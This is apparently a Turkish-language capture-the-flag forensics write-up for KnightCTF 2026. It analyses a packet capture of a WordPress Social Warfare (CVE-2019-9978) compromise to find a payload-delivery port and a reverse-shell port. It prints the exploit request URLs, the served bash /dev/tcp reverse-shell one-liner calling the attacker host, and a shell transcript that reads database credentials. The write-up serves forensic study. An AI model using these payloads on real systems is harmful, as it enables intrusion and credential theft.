KnightCTF 2026 — Post_Exploitation Çözümü
Gürültülü bir kayıtta gerçek hikayeyi saklayan tek bir yüksek sesli port taraması var. Gürültüyü ayıklayınca bir WordPress Social Warfare istismarı, saldırganın payload'u sunduğu HTTP portu ve eve dönen reverse shell ortaya çıkıyor — bayrağın istediği tam olarak iki port.
KnightCTF 2026 — Post_Exploitation
Bir ağ adli bilişim görevi. Elimizde bir host ele geçirildikten sonra alınmış bir paket kaydı var ve tek bir soru:
Saldırgan zafiyeti kullandıktan sonra komuta kontrol sunucusuna kalıcı bir bağlantı kurmuş. İlk payload'un teslim edildiği HTTP portunu ve reverse shell bağlantısının kullanıldığı portu bulmak için trafiği analiz et.
- Etkinlik: KnightCTF 2026
- Kategori: Network / Forensics
- Çıktı dosyası:
pcap3.pcapng - Bayrak formatı:
KCTF{httpPort_revshellPort}
Cevap iki sayı: payload'un sunulduğu port ve shell'in geri döndüğü port.
1. Yön tayini
$ ls -l pcap3.pcapng
-rw-r--r-- 1 user user 28015176 pcap3.pcapngYaklaşık 28 MB ve takriben 130.000 paket. Bu boyutta bir kayıtta en hızlı yön bulma yolu konuşmaları ve portları sıralamaktır:
from scapy.all import rdpcap, IP, TCP
pk = rdpcap("pcap3.pcapng")
from collections import Counter
ports = Counter()
for p in pk:
if IP in p and TCP in p:
ports[p[TCP].dport] += 1
print(ports.most_common(10))[(80, 50147), (54527, 2004), (443, 692), ...]Dört host önemli: 192.168.1.101, .102, .103, .104. .102 port 80'de Apache/WordPress olarak yanıt veriyor — kurban bu.
2. Yüksek sesli şey tuzak
Port 54527 göze çarpıyor — 2.004 paket — ama o akışların her biri sıfır bayt yük taşıyor. Bu, çıplak SYN/ACK gürültüsü: tek bir kaynak portun çok sayıda hedef porta dağılması. Bu bir port taraması, shell değil. Kayıttaki en gürültülü sinyal ve bayrakla hiçbir ilgisi yok. İyi kayıtlar cevabı tam da bu tür gürültünün altına gömer.
3. İlginç trafiği bulmak için akışları birleştirme
Paketler soru yanıtlamaz; akışlar yanıtlar. Her TCP yönünü (src, sport, dst, dport) anahtarıyla yeniden kur, dizi numarasına göre sırala ve sonra oluşan akışlarda shell izlerini ara:
S = {}
for p in pk:
if IP in p and TCP in p and Raw in p:
k = (p[IP].src, p[TCP].sport, p[IP].dst, p[TCP].dport)
S.setdefault(k, bytearray()).extend(bytes(p[TCP].payload))
marks = [b"<?php", b"bash -i", b"/dev/tcp", b"payload.txt", b"swp_debug"]
for k, v in S.items():
hits = [m.decode() for m in marks if m in bytes(v)]
if hits:
print(k, hits)İki satır hemen öne çıkıyor:
('192.168.1.102', 40676, '192.168.1.104', 8767) -> ['payload.txt', 'swp_debug']
('192.168.1.104', 8767, '192.168.1.102', 40676) -> ['bash -i', '/dev/tcp']Kurban dışarıya 192.168.1.104:8767 adresine bağlanıp payload.txt adlı dosyayı istiyor ve :8767'deki sunucu shell koduyla yanıt veriyor. Bu, ilk portu şimdiden söylüyor.
4. İstismar
Tetikleyici bir WordPress eklenti hatası. Social Warfare (CVE-2019-9978), swp_debug=load_options paramını yanlış işliyor, saldırganın verdiği swp_url adresini çekiyor, sonra geleni saklıyor — ve çalıştırıyor. Saldırgan, biri tutana kadar birkaç URL deniyor:
GET /wordpress//wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://192.168.1.104:80/payload.txt HTTP/1.1
GET /wordpress//wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://192.168.1.104:8767/payload.txt HTTP/1.1İlki saldırgan makinesinde 80 portunu deniyor; başarılı olan varyant 8767 portunu işaret ediyor. Sonra kurban dosyayı kendisi çekiyor:
GET /payload.txt?swp_debug=get_user_options HTTP/1.1
Host: 192.168.1.104:8767
Connection: closeVe yanıt payload — tek kullanımlık bir python3 -m http.server tarafından sunuluyor:
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.13.11
Content-type: text/plain
Content-Length: 76
<pre>system("bash -c \"bash -i >& /dev/tcp/192.168.1.104/9576 0>&1\"")</pre>HTTP payload teslim portu: 8767. Ve sunulan payload, geri arama için hedefi içeriyor: /dev/tcp/192.168.1.104/9576.
5. Reverse shell
<pre>…</pre> sarmalayıcısı, eklentinin çektiği ayarı dökmesidir; <pre>system(...)</pre> yazdırılmak için değil, çalıştırılmak içindir — ve çalıştırılıyor, saldırgana bir shell veriyor. Kurban hemen payload'ın içindeki adrese ikinci bir bağlantı açıyor:
192.168.1.102:39582 -> 192.168.1.104:9576 (37 KB veri)Bu akış, :9576 üzerindeki saldırgan shell'i ile ele geçirilmiş web sunucusu arasındaki canlı, etkileşimli bir oturum:
bash: cannot set terminal process group (834): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu-server-2:/var/www/html/wordpress/wp-admin$ whoami
www-data
www-data@ubuntu-server-2:/var/www/html/wordpress$ cat wp-config.php
define( 'DB_NAME', 'wordpress_db' );
define( 'DB_USER', 'wpuser' );
define( 'DB_PASSWORD', 'wp@user123' );Saldırgan web kökünü listeliyor, wp-config.php'yi okuyor, veritabanı kimlik bilgilerini alıyor ve tareq ev dizinine ulaşmayı deniyor (yetki engelliyor). Reverse shell portu: 9576.
6. Bayrak
İki sayı da doğrudan trafikten çıktı:
- ilk payload teslimi (HTTP):
8767 - reverse shell bağlantısı:
9576
KCTF{8767_9576}7. Çıkarımlar
- Paket sayısına göre değil, konuşmaya göre sırala. 2.004 paketlik port taraması gürültüydü; iki satırlık cevap bir avuç paketti.
- Aramadan önce akışları birleştir. Segmentlere bölünmüş
bash -iiçin ham paketleri taramak, payload'u kaçırmanın yoludur. - Reverse shell portu, kurbanın çektiği payload'ın içine yazılmıştı — kendi geri arama adresini sunan bir C2, cevabın iki yarısını da ele veriyor.
- Saldırganın teslim sunucusu olarak
python3 -m http.server(SimpleHTTP/0.6) kullanması iyi bir parmak izi: web host olmayan bir makineden düz HTTP ile*.txtçekilmesi nadiren iyi niyetlidir. - Eski eklenti hataları (CVE-2019-9978, 2019'dan) 2026'da hâlâ kutuları ele geçiriyor, çünkü kimse yamamış.
Ne düşünüyorsun?
Tepki bırakarak geri bildirim ver